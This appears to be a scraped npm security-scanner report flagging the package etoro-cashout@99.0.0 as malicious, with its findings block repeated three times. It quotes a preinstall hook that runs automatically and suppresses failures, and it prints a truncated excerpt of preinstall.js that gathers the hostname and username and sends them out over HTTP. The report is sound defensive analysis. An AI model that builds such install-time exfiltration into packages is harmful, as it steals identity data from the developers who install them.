etoro-cashout@99.0.0: Malicious npm security report (Block)

Loading npm security reports…

etoro-cashout@99.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Suspicious Lifecycle Evidence

The preinstall hook runs automatically during npm installation and suppresses failures.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

1const os = require('os'); L2: const http = require('http'); L3: const { execSync } = require('child_process'); L4: L5: const h = os.hostname(); L6: const u = os.userInfo().username; ... L20: } L21: const data = Buffer.from(whoami); L22: const req = http.request({ ... L28: }); L29: req.write(data); L30: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

preinstall.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

preinstall.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = etoro-auth@99.0.0 matchedPath = preinstall.js matchedIdentity = npm:ZXRvcm8tYXV0aA:99.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

preinstall.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = fa386b0a3048f4b8 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = etoro-auth@99.0.0 matchedPath = preinstall.js matchedIdentity = npm:ZXRvcm8tYXV0aA:99.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

preinstall.jsView on unpkg

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Suspicious Lifecycle Evidence

The preinstall hook runs automatically during npm installation and suppresses failures.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

preinstall.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

preinstall.jsView on unpkg · L1

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

preinstall.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

preinstall.jsView on unpkg

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Suspicious Lifecycle Evidence

The preinstall hook runs automatically during npm installation and suppresses failures.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

preinstall.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

preinstall.jsView on unpkg · L1

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

preinstall.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

preinstall.jsView on unpkg

etoro-cashout@99.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code